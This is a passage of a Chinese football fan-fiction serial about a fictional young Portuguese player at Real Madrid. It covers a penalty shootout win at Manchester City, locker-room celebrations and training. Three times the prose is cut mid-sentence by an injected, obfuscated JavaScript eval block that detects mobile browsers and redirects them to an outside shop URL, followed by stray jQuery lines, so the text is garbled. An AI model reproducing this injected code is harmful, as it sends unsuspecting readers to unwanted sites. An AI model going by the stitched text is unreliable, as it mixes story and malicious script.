《[足球]伯纳乌端水日记》
2. 一盆水
第2章一盆水
从伯尼站的位置望过去,卢卡·莫德里奇黑衣清瘦站在绿茵场上,像是跳出鱼缸的一尾黑色金鱼,曼彻斯特的春寒中,伊蒂哈德人人都穿着黑色大衣,此刻已经欢腾成了一片黑海。
球被埃德森击出门框反弹向莫德里奇,他一摆右腿,把球踢向了涌动的看台。
莫德里奇转身走回来,低头皱眉,一脸内疚的表情,向他们摊摊手,“我……”
克罗斯把他揽进队伍中,吕迪格伸手来摸摸他的头,打断他道:“没关系的,卢卡,等一等,还没结束。”
伯尼也伸手拍了拍莫德里奇的肩膀。
他再转头时,曼城的伯纳多·席尔瓦已经叉腰站在主裁身旁,背后的蓝底白字的“20”号脏兮兮的,像是在土里打过滚。
伯尼想起他们刚才在一次争顶时撞了个满怀,落地时伯纳多几乎倚在他怀里,仰头,带着亲切的乡音,“……伯尼!”
他憋着嘴角的笑抱了抱伯纳多,心想,瓜迪奥拉真的派你来防守我吗。
时间一分一秒过去,大家都等着看台把球扔下来,可球迷却把球抱在怀里,迟迟不肯放手。
伯纳多开始用脚踢着地上的草皮,一下,又一下。
伯尼看向门将卢宁,这也是他临危受命的一晚,此时他正手扶门框而立,面无表情,似乎完全没注意到背后球迷的嘘声。
足球终于被人扔了下来。裁判鸣哨示意,他听见身边有人深吸了口气,也跟着屏住呼吸——
伯纳多站在原地,抬腿,击球。
卢宁也站在原地,抬手轻轻一摘,球稳稳落在手套之中。
勺子……点球……?
伯尼呆了一秒钟,听见恩德里克怒吼才跟着吼了一声:“Vamos!(干得好!)”
皇马原本并肩而立的一整行瞬间四散,人人低头握拳走向各自的方向,像是突然放飞的一群鸽子,走了几步又回头和队友汇合。
伊蒂哈德看台的沉默形成了鲜明的反衬。
比分又回到了原点。
0:0。
莫德里奇一脸如释重负,双手握拳贴在额头前,伯尼跑去拥抱他,莫德里奇轻轻拍了拍他的背,声音沙哑:“……别害怕。”
卢宁木着一张脸走过来,把球交给巴斯克斯。
伯尼几步退回到队伍中,眼见着背对着他们的巴斯克斯竖起手掌,指尖向上一顶,足球在他指尖旋转了好几圈,被他接住,又再次开始转动。
他起了一身鸡皮疙瘩。
眼前又浮现出七年前他在家里看一场欧冠决赛时的情形,巴斯克斯指尖转着足球走向点球点,面容无比年轻,神情从容不迫。
他整个人就像是被时间的利箭击中了似的,为巴斯克斯而紧张,却又为自己能亲眼见证而欣喜。
哨声刚落,巴斯克斯干脆起脚,球“砰”地飞进球门,曼城门将埃德森猜错了方向,飞身扑向了另一侧。
皇马球员再次四散庆祝,握拳低头大步走。
曼城队派出的第二个点球手是阿尔瓦雷斯,伯尼回头看了一眼曼城替补席,主教练瓜迪奥拉独自插兜站在一边,手摸着下巴远望。
阿尔瓦雷斯助跑,打门,球擦着卢宁的指尖入网。
1:1。
曼城球迷欢腾起来,伯尼向后退了一步,躲在克罗斯身后,心开始咚咚狂跳,听见吕迪格说了句“你能做到!”,莫德里奇边鼓掌边喊:“加油裘德!”
他抬头,看见裘德·贝林厄姆昂着头,甩着长胳膊走了出去,脚下生风。
伯尼不难想象出他脸上此时的自信表情,听到身边有人低语:“……裘德这样子一看就能进。”
他们所有人屏息凝神,注视着贝林厄姆脚起刀落,球稳稳飞向埃德森另一侧的球门死角,一起怒吼出声:“Bravo!!!”
贝林厄姆后退一步,仰头远远对着看台高处的皇马球迷比出一个“1”的手势,球迷们欢腾着喊他的名字,气势慢慢回升。
曼城的8号科瓦契奇站定在点球点前,伯尼左手边的莫德里奇深吸了口气,紧紧盯着科瓦契奇的背影。
科瓦契奇助跑,起脚,射门——
卢宁迅速向□□身,右脚却在原地生生挡出了球!
“YES!!!”
“Vamos!!!”
伯尼懵了一下,回过神来时已经蹦着跳着大吼出声,莫德里奇抓着他的胳膊大力地晃,又回头向替补席挥了挥手。
伯尼也回头看,场边的凯帕穿着他的大羽绒服一蹦一跳,笑着向他们举起拳头,领先!
站在一旁的克罗斯摊手,“……看起来咱们好像要赢了。”
其他队友们看了克罗斯一眼,这话可不是所有人都敢说。
第四轮点球结束,皇马3:2曼城。
这意味着他的点球若是踢进,比赛就真的结束了。
伯尼感受到窒息的感觉从喉咙口开始蔓延到全身,脸都有些僵硬了,深吸了口气,刚迈出一步,看见曼城的鲁本·迪亚斯向他们走过来——
“第五个点球让小孩罚?挺勇的……或者挺绝望的,这就是现在的皇马吗?”
□□修斯达几步冲出来揪住他的衣领,同样用葡语怼了回去:
“我们这里没人躲责任。小孩要罚,就让他罚,这才叫勇气!你们都是葡萄牙人,你还是早点闭嘴吧!”
曼城那边有人过来拉迪亚斯,□□修斯却不肯松手,恩德里克也冲上去帮忙,吕迪格两手拉着两个愤怒的巴西人,扯着嗓子喊:“好了,□□,波比,别和他说了!”
莫德里奇去解救吕迪格,贝林厄姆隔着许多人吼过去:“你在这叭叭个什么?等球进了再说话!”
伯尼眨眨眼,窒息的紧张感却压得他做不出任何反应,只是站在原地不断深呼吸。
整场比赛几乎被曼城压着打,他皇马的老大哥们已经憋了满肚子火,如今骂战一触即发,他瞥向场边,安切洛蒂正插兜眺望他们,面无表情,嘴里嚼着口香糖。
直到裁判跑过来将他们分开,迪亚斯和□□修斯一人一张黄牌,两边各打五十大板,骂仗这才平息下来。
卢宁把球递到他手上,又沉默地转身离开,球衣背上全是簌簌的草屑。
皇马的所有队员都看着伯尼,最后关头,没人在这时候再说些什么,只是沉默的、温和的注视。
伯尼抱着沉甸甸的球,一步一步,走向草皮上的那个小圆点,摄影师肩上黑黢黢的镜头对准了他,他放好球,起身,后退。
埃德森站在球门前伸开双臂,迫人的目光锁定在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323583|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他身上。他越过他,看见菱格形状的球网背后如山一般黑压压的看台。
耳边的嘘声越来越响,伯尼望着对他横眉倒竖的曼城球迷,喉咙口的滞涩感越发强烈,像是含了一颗强劲的薄荷糖。
他忽然想起吕迪格曾说过的话:
“点球?其实就是让自己冷静下来。走到点球点的时候,我会试着清空脑子,只盯着球。有时候我会想到我女儿,因为那会让我放松很多。对我来说就是控制好自己,不去想别的事情,然后把球踢进去。”
伯尼闭上眼睛,努力把自己的脑海排空。
在一片黑暗中,有光慢慢地亮起来,是一片荡漾的灰蓝色的海,蜿蜒的细细的木栅栏则是它的项链,他踢着球向前跑,边跑边眺望着海上一只漂泊的小船……
那是他外公的小渔船。
他睁开眼时眼眶阵阵发热,心跳奇异地稳定下来,紧张感一扫而空。
伯尼丈量脚后退,目光锁定,哨声随即尖厉地响起:“哔!!!”
他迈开腿,一步、两步、三步,收紧核心,肢体控制力凝聚于一处,绷直左脚背,击球的中心偏下部,把球想象成一颗出膛的炮弹——
足球在空中高速旋转着,在他眼里却能一帧帧慢放,清晰地看见球上的白底黑五角星,像是带着拖尾的流星一样向球门飞去,擦着埃德森的指尖,落入球门死角。
球进了!
皇马点球4:2淘汰曼城,挺进欧冠半决赛!
伊蒂哈德满天的嘘声戛然而止,UEFA摄影师扛着摄影机就朝他冲过来,可他并没抬脚,只是站在原地伸直双臂,然后转身。
视线中,队友们跑得面目狰狞,吕迪格高抬腿一马当先,□□修斯边冲边指着曼城球员大叫,贝林厄姆瞪着眼睛张大了嘴,恩德里克仰头双手指天……
替补席的球员和工作人员也飞奔过来,场面看上去很像黑羊大迁徙。
吕迪格冲过来把他扑倒在地上,又有人压到吕迪格身上,伯尼眼前只看得见无数黑色球衣的衣角,听见耳边不断有人嘶声喊:
“啊啊啊啊啊啊!我们赢了!”
“好样的!马德里万岁!”
“太棒了!太漂亮了!!”
直到他堪堪从人堆里爬出来,莫德里奇立刻给了他一个大大的拥抱:“伯尼,你做得太好了!我们赢了曼城,我们晋级了!”又跑着去找卢宁。
克罗斯挑眉问他:“……第一次踢点球感觉怎么样?”
伯尼看见曼城很多球员坐着或叉腰站着,神情无助而迷茫,这才有点意识到刚才肩上的压力有多大,他长出一口气,笑着回道:“感觉很不错。”
迎着曼城球迷死一般的沉默,他们蹦着跳着在伊蒂哈德庆祝,向随队远征的球迷致意。
今天简直是他人生中最幸福的一天。
眼前不论看到什么都是闪闪发亮的,带着胜利的光晕。
在曼城球员离开之前,他在球员通道里张望着等待阿尔瓦雷斯,这个来自阿根廷的幸运星型球员,想和他交换球衣。
伯纳多·席尔瓦走了过来,全身都是泥土痕迹,有气无力地叫他的名字:“伯尼……”
伯尼抱了抱这个性格温柔的国家队老哥,正想安慰他几句,就看见鲁本·迪亚斯阴沉着脸走进了通道。
3. 一桶水
第三章一桶水
伯纳多·席尔瓦是曼城trash talk(喷垃圾话)之王,这是伯尼在皇马更衣室混了两年后的经验总结。
可他现在看着跑满全场的伯纳多,他看上去累得双眼无神,灵魂都要出窍了,只有在和他聊起刚出生的女儿时才有些兴致,两条弯眉毛高高扬起,嘴角一抹淡淡的微笑。
伯尼视线中却突然多出一抹天蓝色,抬头一看,鲁本·迪亚斯向他伸出手,夹在伯纳多的热情介绍中道:“伯尼,好久不见,你舅舅今天来看比赛了吗?”
“对!法比奥!”伯纳多一拍手,“……他在哪里?”
伯尼摇摇头,伯纳多那口熟悉的乡音总能一秒将他带回家乡,能让他又听见海风的呼啸。
“他在家里,他公司最近比较忙,没空来看我。”
“他还在打渔吗?”迪亚斯眯起眼睛,做了个看报纸的动作,故意拖长音调,“科恩特朗回到了大海——”
伯尼笑出了声,想起葡萄牙媒体如何描述他舅舅:一个曾在皇马踢欧冠的球员,如今选择回到家乡做一个渔民。
迪亚斯也自鸣得意得地笑起来,随后一扭头,大力揽过伯纳多的肩膀:
“……一个点球而已,别往心里去!人人都有失误的时候,这根本不算什么,别听媒体怎么说,也别看那些讨人厌的私信。”
伯尼开团秒跟,“对对!伯纳多,你今天踢得真的很好,我舅舅一直说,你是葡萄牙这十年最好的中场,我觉得他说得对。”
伯纳多靠着迪亚斯,看着伯尼说道:“……挺神奇的,我居然在国家队和两个不同的科恩特朗一起踢过球。”
后来迪亚斯又低声道:“伯尼,刚才点球的时候我不是说你……希望你能明白我的意思。”
伯尼摇摇头还没张嘴,伯纳多就抢先道:“行了行了,鲁本,我们都知道你为什么这么干。但你可得记住啊——你面前站着的可是葡萄牙过去十年最好的中场,还有未来十年最好的中场!”
伯尼感觉自己脸上发烫,只能傻笑着挠脑袋,目送着他们走远,身边不断有球员和工作人员匆匆走过,却一直没看到阿尔瓦雷斯。
他决定主动出击。
他走回了场馆内,一出通道就被咔擦咔擦的快门闪得愣了愣,采访区像是一片银色的海洋。他听到一直有人在喊他的名字,这在以前是从未发生过的。
”伯尼!伯尼!可以采访你吗?”
“伯尼,过来这边吧——”
“罚金最后一个点球感觉怎么样,伯尼?”
伯尼弯腰正从旁掠过,却突然被人拽住了袖子,回头看见一个满脸笑容的年轻记者,举着麦克风,开口就是极流利的葡萄牙语:
“伯尼,我能采访你吗?我是波尔图人,现在在英国天空体育工作。我从你还在龙之力青训的时候就开始看你踢球了!”
伯尼停顿了几秒,“但我只能说几分钟。”
记者极为高兴,领着他看向天空体育的镜头,举着麦克风滔滔不绝地讲了起来:
“站在我旁边的是伯尼·科恩特朗,他在比赛中为皇马罚进了最后一个点球,伯尼,你觉得——”
“伯尼?好久不见。”
伯尼一转头,看见熟悉的曼城球迷穿搭:扣子扣到脖颈的黑色大衣,长西裤,皮鞋。再往上看,兜下巴上一圈淡灰色的胡茬,眼睛深邃而圆钝,透着意大利男人的忧郁美感。
曼城主教练,瓜迪奥拉。
伯尼瞪圆了眼,下巴差点掉下来,立刻收敛神色站直了身子,向瓜迪奥拉伸出手,说,好久不见。
扛着镜头的摄影师默默后退一步,周围咔嚓咔嚓快门声不断。
瓜迪奥拉握住他的手低声说了句什么,随后并未理睬记者们的呼唤,低下头转身离开了。
伯尼一颗心七上八下的,还得努力控制在镜头前表情自然,连记者问了什么都没太听清,就听见背后传来声音:
“不好意思,请让一下。”
他立刻向右一步,转头,再次瞳孔放大一瞬。
金棕色的大背头,蔚蓝色的眼睛,亮白的皮肤被汗蒸得发红,此刻正拧着眉毛看着他,气压极低的模样。
曼城中场核心,凯文·德布劳内。
在点球之前,比赛第12分钟时罗德里戈打入一球,皇马开始死守1:0,直到第76分钟德布劳内为曼城破门,他张开双臂飞奔着怒吼,将伊蒂哈德球场彻底点燃。
伯尼完全忘记了正闪着红光的镜头,下意识抱着手臂注视着德布劳内进入足球通道,盯着他那稳固而潇洒的大背头,想要他的发胶。
记者问:“伯尼,你主罚最后一个点球的时候在想什么?”
伯尼回过神,答道:“我只是在想保持冷静。点球就是心理战,我只能选好一个方向,然后用力踢。”
记者又问:“皇马几乎整场都在防守,这是计划的战术吗?”
伯尼捋了捋汗湿的球衣,然后笑着说:“这里是曼城主场,他们是世界上最好的球队之一。但我们防守得很好,所有人都拼到了最后一刻。”
他想起中场休息时安切洛蒂用笔敲着黑板,轻描淡写地说出一个个防守上的问题,然后重申了战术:放弃控球,极限低位防守,快速反击,努力把比赛拖进点球。
曼城最擅长的就是控球,他们又是客场作战,伯尼觉得他一个替补席上坐着的都倍感压力,一转头,克罗斯在系鞋带,莫德里奇在整理发箍。俩个人脸上都平静无波,仿佛在说:有什么好大惊小怪的?
随后,安切洛蒂又强调:“如果曼城进球,比分真的被扳平……我希望你们所有人都在禁区防守,打起精神,坚持到最后一刻。”
……
伯尼回到更衣室时,队友们正在庆祝——
他一开门就被□□修斯挥舞着的球衣挨了一下,罗德里戈正在虚空打鼓,恩德里克在伴唱,吕迪格在伴舞,米利唐在放音乐,其他人则笑呵呵地瘫坐在椅子上围观,其中贝林厄姆的笑声最响。
放在以前,他和恩德里克两个替补队员绝对是赛后庆祝的主力,但他今天踢完点球连腿都软了,望着那几个尚且神采奕奕的巴西人,简直不得不服。
伯尼拖着腿走向自己的位置,把换来的阿尔瓦雷斯的球衣塞进包里,然后在音浪中摸出手机开机。
无数条Whatsapp和IG消息争先恐后地弹满了屏幕,但他首先点开了特别关注人,著名转会记者法布里齐奥·罗马诺。
@罗马诺:
-多家俱乐部正在关注阿尔瓦雷斯在曼城的情况。
-曼城仍然把他视为重要球员。
-目前没有具体进展。
他看着手机,想起刚才在采访区的情形,在心里默默摇头,罗马诺没说到点子上。
刚才,他在记者区发现了正被缠着不能脱身的阿尔瓦雷斯,站在几步开外的地方等他。
阿尔瓦雷斯看见他,应付了记者几句就转身要走,记者却穷追不舍地嚷:“胡安,为什么瓜迪奥拉没有更早让你上场?球队需要加强进攻的时候,你却一直在替补席上,直到第90分钟才被换上,这是为什么?”
伯尼很难忘阿尔瓦雷斯脸上的表情。他表现很好球队却无缘欧冠半决赛,已经耷拉着眼睛抿着嘴,浑身低气压,这下被问得连头都不想抬,脸色阴沉得能滴出水,转身抬脚就走。
他立刻就明白,阿尔瓦雷斯下赛季肯定要走了。
皇马更衣室里开始进入尾声大合唱环节,他的手机刘海屏一闪一闪,不断有新消息跳出来:
M?e(妈妈):[图片]
M?e(妈妈):[图片]
M?e(妈妈):太棒了!你把点球罚进了!
伯尼点开,看见第一张图片是妈妈和他外婆脸贴着脸的自拍,两个人正握拳庆祝,像是在对他说:“Vamos!”(“太好了!”)
第二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323584|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张图片,是他外婆的吉娃娃犬诺拉,它被人抱到了电视机旁边,正瞪着大眼睛看着屏幕上的比赛画面。
Tio Fabio (法比奥舅舅):[图片]
Tio Fabio (法比奥舅舅):为你骄傲[赞]
伯尼弯起嘴角,带着一点莫名的期待,手指一点,看见他舅舅发来一张在渔船上的自拍,凌乱的棕发、黑胡茬、橡胶衣,身后是波光粼粼的大海。
在不着调的嘶吼与合唱声中,克罗斯把脑袋歪过来看他的手机,大声问:“这是法比奥?”
伯尼点点头,克罗斯皱着眉毛摇头,把他的手机拿给正在唱歌的莫德里奇看。莫德里奇看完,边唱边苦笑,对着他们抹了一把额头上不存在的汗。
克罗斯边甩着毛巾边调侃他:“伯尼,你以后也会变成这样么?”
他摇摇头正想说话,克罗斯已经开始拍桌子,庆祝大合唱进入尾声——
“?Hala Madrid!”
“?Hala Madrid!”
“?Hala Madrid!”
马德里万岁!
马德里万岁!
马德里万岁!
伯尼和大家一起振臂高呼,正在拖长最后尾音时,主教练安切洛蒂终于推门进来,更衣室天花板正中心的一个消防喷淋头却毫无征兆地开始转着圈喷水。
安切洛蒂极迅速地“啪”一声关上了门。细细的水柱顺着高速旋转的喷淋头洒向四面八方,像是公园里冲击力极强的自动灌溉器,他队友们大叫着抱头逃窜。
伯尼用手挡住眼睛,水顺着头发丝流到耳朵、脖子、胸口,听见耳边止不住的骂声,英语、西语、法语连环交替:
“靠!”
“见鬼!”
“这他妈什么情况?”
“别告诉我这是庆祝!这不会是曼城搞的鬼吧?”
伯尼一边用手抹脸上的水,一边又忍不住想笑,他眼前的场面好像在热带雨林里的一群猴子。
□□修斯和罗德里戈正互相抱着嗷嗷大叫;恩德里克好像在洗头;吕迪格爬上桌子试图接近喷淋头;莫德里奇捂着眼睛躲在他身后;克罗斯挤在最角落里,举着手机傻乐;贝林厄姆彻底绷不住开始激情输出……
伯尼闭了闭眼睛,觉得这场人造雨来得特别及时,让他的头脑特别清醒:
大腿肌肉暗暗地发涨,他知道明天肯定疼得抬不动腿;手心冰凉,他知道他可能快感冒了。
他还突然就听清了瓜迪奥拉刚才对他说的话,那时瓜迪奥拉握着他的手,声音轻沉,只说了三个单词:
“Good Penalty. Congratulations.”
(“很好的点球,恭喜。”)
他叹了口气,不禁再次肯定自己在两年前的选择。
皇马是他从小就唯一最爱的俱乐部,葡萄牙所有踢球的孩子的偶像在这里书写了一段传奇,可在那之后却鲜少有葡萄牙人加盟。
当有这个机会,当有一线可能,他会不顾一切、不加任何考虑地来到这里。
他相信他做了正确的选择。
伯尼闭上眼睛笑,水顺着眉骨流下来,像是两道天然的小瀑布,听见有人“咚咚”两下拍桌子,睁眼看见表情坚毅、却上演□□的队长纳乔。
伯尼嘴角不禁上扬。
纳乔做了几个手势示意大家安静下来,随后挥着拳头兴奋道:“记住,我们是皇马。下一轮是谁都要赢——拜仁也一样!加油马德里!”
皇马所有球员都在雨中挥起了拳头,跟着队长吼道:“加油马德里!”
伯尼看看那一张张淅沥沥的水中绽放的朴实笑脸,眼前仿佛燃起了熊熊胜利之火,对之后的和德甲之王的较量无比期待。
就在这时,手机“嗡嗡”振动起来。
他抹掉屏幕上的水,看见来电人是罗伯托·马丁内斯,葡萄牙国家队主教练。
4. 一杯水
第四章一杯水
罗伯托·马丁内斯那含混的低沉嗓音总让伯尼想起《教父》里的马龙·白兰度,一身西服坐在深黑的大理石办公桌前,手里夹着烟雾缭绕的雪茄,声音从胸腔深处慢慢滚出来:
“伯尼?……是我,马丁内斯,我没有打扰到你吧?……我刚看完比赛,恭喜你,那个点球非常冷静……继续保持这样的状态,欧洲杯的计划里,我们有你的位置。”
“砰!”一声,脚内侧击球的闷响。
伯尼回过神,把马丁内斯的声音清出脑海,脚下迅速向左跨出几大步,脚尖抵住高速滚来的足球,一停,一拨,脚背平直地一推。
足球斜掠过在中间抢球的恩德里克,被一只银色球鞋踩住。
韦尼休斯另一只脚在球底一挑,足球甩着一道弧线弹到他肩膀上,他歪着头夹住,在周围人的笑声和起哄声中踏着小碎步转了一圈,像是八音盒上滑稽的小人。
伯尼“扑哧”笑出了声,视线却一直落在球上,眼见着那黑白相间的球被巴西人灵活地甩出去,在克罗斯脚上一垫,然后飞向吕迪格。
吕迪格抬起大腿内侧停球,用两条健瘦的腿翻飞着做了个花式绕球,队友们的笑声更大,球被他用脚尖踢出,昂着弧线去找伯尼身旁的莫德里奇。
球被莫德里奇踢出去,像流星一样划过深绿浅绿的条纹草皮,伯尼暂时松了口气,脑子里只剩下一个小人在摇旗呐喊:
欧洲杯!
欧洲杯!
欧洲杯!
马丁内斯的低沉声音又飘入他的脑海:
“……我认识你舅舅,他当年在皇马踢得很好……穆里尼奥带过他,我一直很尊重他的判断。门德斯也跟我提过你,但今天你已经自己证明了自己。”
门德斯。
伯尼的心忽然坠了下去,呼吸下意识放轻,像是这样就不会在脑海里看见门德斯的脸,短发、浓眉、牙齿亮白,带着点礼貌的精明的微笑……
“砰!”
急转的足球破开了层层思绪,高高地向他俯冲过来。
伯尼下意识后退一步,侧抬腿用内侧一挡,球如同瞬间卸力一样落在脚边,眼前恩德里克的阴影逼近,他迅速跨出右脚一撑,左脚抡向足球却又生生停下,把恩德里克晃得一个踉跄后才踢出去,球穿裆而过。
克罗斯“哇哦”出声,吕迪格立刻起哄道:“波比——把门关上啊!”
恩德里克抹了把头上的汗,盯着伯尼气喘吁吁地说:“运气!再来一次!”
伯尼傻笑着挠挠头,转身去给自己和恩德里克拿了两瓶水,回来时助教已经开始组织他们分组踢小场比赛。
伯尼接过助教手里的橘背心,看见吕迪格把绿背心递给了恩德里克,然后突然瞪大眼睛,倒吸一口凉气,“……哇!我居然和波比·查尔顿一起踢球?”
伯尼正举着水杯,听完一口水呛在喉咙里,边咳嗽边转头看恩德里克,皮肤棕黑的巴西人翻了个白眼,扁着嘴满脸无奈。
他还记得“波比·查尔顿”的由来。
那时他和恩德里克刚来皇马,第一次和队友们一起录制阿迪达斯的品牌合作,穿着新球衣说出自己童年时的偶像。
他们在摄影棚里站成一个半圆形,等待摄影师端着镜头一一扫过去——
吕迪格:“我的偶像是罗纳尔多和佩佩。”
克罗斯:“我很喜欢2003到04赛季的不来梅,尤其是米库德。”
贝林厄姆:“毫无疑问的,齐达内。”
伯尼边听边点头,然后盯着扫过来的幽深的镜头,说道:“克里斯蒂亚诺,我从小看着他在皇马踢球长大。”
他余光瞥见克罗斯探出头来看他,还没来得及回头,身边的恩德里克狂抓后脑勺,像是进行了认真的思考,然后小心翼翼地开口:
“……波比·查尔顿?”
伯尼目瞪口呆,耳边仿佛一下子响起了老式蒸汽火车“呜呜”的轰鸣。
他身边的队友已经笑倒了一片。吕迪格鼓着掌大笑出声,克罗斯盯着他们,像是不可置信地重复了一遍“波比·查尔顿”,贝林厄姆一梗脖子,皱着眉头大声问:“谁?”
关于波比·查尔顿……伯尼只能回忆起那几卷老旧球赛录像带里的模糊脸孔。
……
然而,巴西版波比·查尔顿在小场比赛里气势惊人,伯尼站在左路,看着他像推土机似的带球推进,心里有些发怵,还是放弃贴防吧。
伯尼斜向后跳了几步,用余光转头观察另一侧跟着恩德里克向前跑的吕迪格,在心里想象着小球场的俯视图,恩德里克和吕迪格则变成了图上的两个小点。
他还注意着恩德里克脚下的节奏,看见那双荧光绿的球鞋踩着电光石火向前冲,随后左小腿紧鼓着踩在地上,右脚一摆——
“砰!”
足球在恩德里克的脚背上炸开一声脆响。
他脑海中想象的传球线路一笔画出,左脚大跨步向前,右脚绷直了向前伸,脚尖终是堪堪碰到了贴地飞滚的足球,一挡,足球被卸了速度,缓缓向他前方滚去。
“好球!”他听见莫德里奇喝道。
他步子迈得太大,大腿筋被压得抖了一下,用手撑着草皮才能连滚带爬地站起来,抢在急刹车的恩德里克之前把球踢出去。
莫德里奇脚跟一拨,转身闪过吕迪格,左脚把球送出,右脚支撑中心,然后跟上一脚远射。
伯尼站在原地,眼见着足球划过一道优美的圆弧,稳稳飞进球门,得分!
他喘着气伸开手臂,还没来得及欢呼一声,助教已经将新的球扔进场中,又是一场酣畅淋漓的抢球大战,这种对抗人数少、节奏快、没有守门员,所有人几乎都是一脚出球,“砰”“砰”“砰”的连环闷响中,足球以各式各样的弧线洞穿球门。
当伯尼累得眼前冒白光时,终于听到一声清脆的哨响,上午的训练结束了。
他和恩德里克留下来把所有的球装进球袋里,把锥桶搬回去,直到还剩下最后一个球孤零零落在草皮上时,恩德里克问:“伯尼,你下午留下来练任意球吗?”
伯尼低头,脸上的汗一道道流下来,淹没在领口一大圈深色的汗迹里,喘着气反问他:“……你不累啊?”
“不累。”恩德里克弯腰把最后一个球抱进怀里,“在飞机上是有点累,不过回家睡了一天就好了。你练吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323585|199092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
伯尼瞪圆了眼睛,憋住喉咙里的气说,我也不累,我们一起练吧。
他扛起锥桶,恩德里克拖着球袋,吭哧吭哧地走向训练中心的大门,恩德里克却突然驻足回头看他。
门口的感应器灵敏,玻璃门“嗡”“嗡”地开开关关,空调风阵阵吹来,伯尼听见巴西人羞涩地说:“伯尼,我要结婚了。”
伯尼盯着恩德里克那圆钝的轮廓看了半天,下颌线和眉骨突出,鼻头圆钝,表情严肃,好老派而复古的球星气质。
“波……恩德里克,你多大了来着?”
恩德里克回道:“我十八岁。”
伯尼望见那双短而窄的眼睛就这么直直地盯着他,张张嘴,沉默了一会儿才说:“……恭喜你,是和米兰达结婚吗?这么快啊!”
恩德里克的眼睛弯起来,笑露出两排白牙,衬着棕黑的皮肤,显得特别朴实而单纯。
伯尼有千言万语堵在嘴边,却又彻底无话可说了,脑海里回想起他和恩德里克刚认识的时候,他十八岁,恩德里克十六岁,穿着一身红绿古驰运动装站在他面前,问他,你好,你会说葡萄牙语吗?
隔着透绿的玻璃门,伯尼看见吕迪格和克罗斯站在一起,吕迪格一手叉腰说着什么,克罗斯正拿毛巾擦汗。
“楚阿梅尼把卡马文加铲伤了——”
吕迪格对着伯尼比了个手势,然后挑眉抿嘴,一脸“我不敢相信发生了什么”的绝望。
伯尼张大了嘴,听见恩德里克问:“啊?他们俩上午不是没来训练吗?”
吕迪格绘声绘色地把刚才的事情讲了一遍,十分分钟前,当楚阿梅尼在上抢卡马文加的时候,脚底突然一滑,一脚把卡马文加带走,俩人“咣当”摔在地上,然后所有人都听见了卡马文加的痛呼……
伯尼把锥桶往肩膀上送了送,皱起眉头问:“那后天踢巴萨怎么办?”
他的一颗心已经悬了起来,难以想象刚和他们讲完战术的主教练安切洛蒂知道后会是什么表情。
克罗斯只是盯着地面不语,吕迪格则仰头用手抹了把脸,把脸颊拽得老长,然后哀嚎出声:
“哎,我说真的,球迷有时候还真没说错,皇马场上最多只能有一个法国脑子,卡马文加和楚阿梅尼像是共用一个CPU的,两个人一起上场,这脑子就不够用了。但也别用这种方式解决问题啊——他们俩别再互相铲了!”
伯尼忍不住哈哈大笑,笑完还得干巴巴地安慰:“……我想楚阿梅尼也不是故意的,我们撑过后天那场比赛,卡马文加说不定就恢复了,没事的!”
“我只是觉得这有点蠢。”克罗斯摇摇头,神情却很诚恳。
伯尼想起楚阿梅尼的刺猬头和直愣愣的眼神,努力绷住了嘴角的笑。
吕迪格离开时还说:“事已至此,你们要打起精神,后天打巴萨,这场很关键,听见没有?别想着一直坐板凳,到时候上场可得狠狠干,别输给他们那几个小孩!”
伯尼和恩德里克连忙点头。
伯尼透过玻璃的反光一看,恩德里克拖着硕大的球袋,而他扛着三角锥桶,两个人的倒影看起来很像游戏里的建筑小工,不知已经这样傻站着多久了。
5. 一碗水
第五章一碗水
踢任意球会上瘾。
伯尼把足球的气孔转到正对着自己,然后微微斜放在草皮上,向后倒退,助跑,提髋,抡脚,打门——
卢宁猜对了方向,可球直挂向死角,没给他任何扑救的空间。他起身时一边拍着身上的草,一边面无表情地说:“我发现你只喜欢踢右路。”
伯尼忍不住笑了一下。
每一次击球,他都控制着脚踝偏移的弧度,想记住每一次脚内侧的骨头与球接触的感觉,感受到即使是一点点的偏移和轻重的不同,也会让弧线产生许多种变化。
“砰!”
“砰!”
“砰!”
在左侧、中路、右侧各练习了20个任意球后,伯尼的左右脚内侧都已经开始发麻,他知道肌肉正在抗议,可这一次练习记住的肌肉记忆,下一次又可能全都忘掉。
或许这就是足球的魅力所在,那些精妙的传射、如手术刀般的传球、圆月弯刀一般的任意球……都发生在下一个无法掌控的瞬间。
伯尼捡起一个足球,把手放在皮革缝线的微微凸起处,感受到一道道粗粝的丘壑划过掌心,里面似乎有什么在蠢蠢欲动——
他觉得,那是足球的心跳。
伯尼听到恩德里克在背后叫卢宁,求他陪他练习,卢宁的声音依旧木木的,像是没有心的稻草人,“……你踢球太狠了,我怕受伤。”
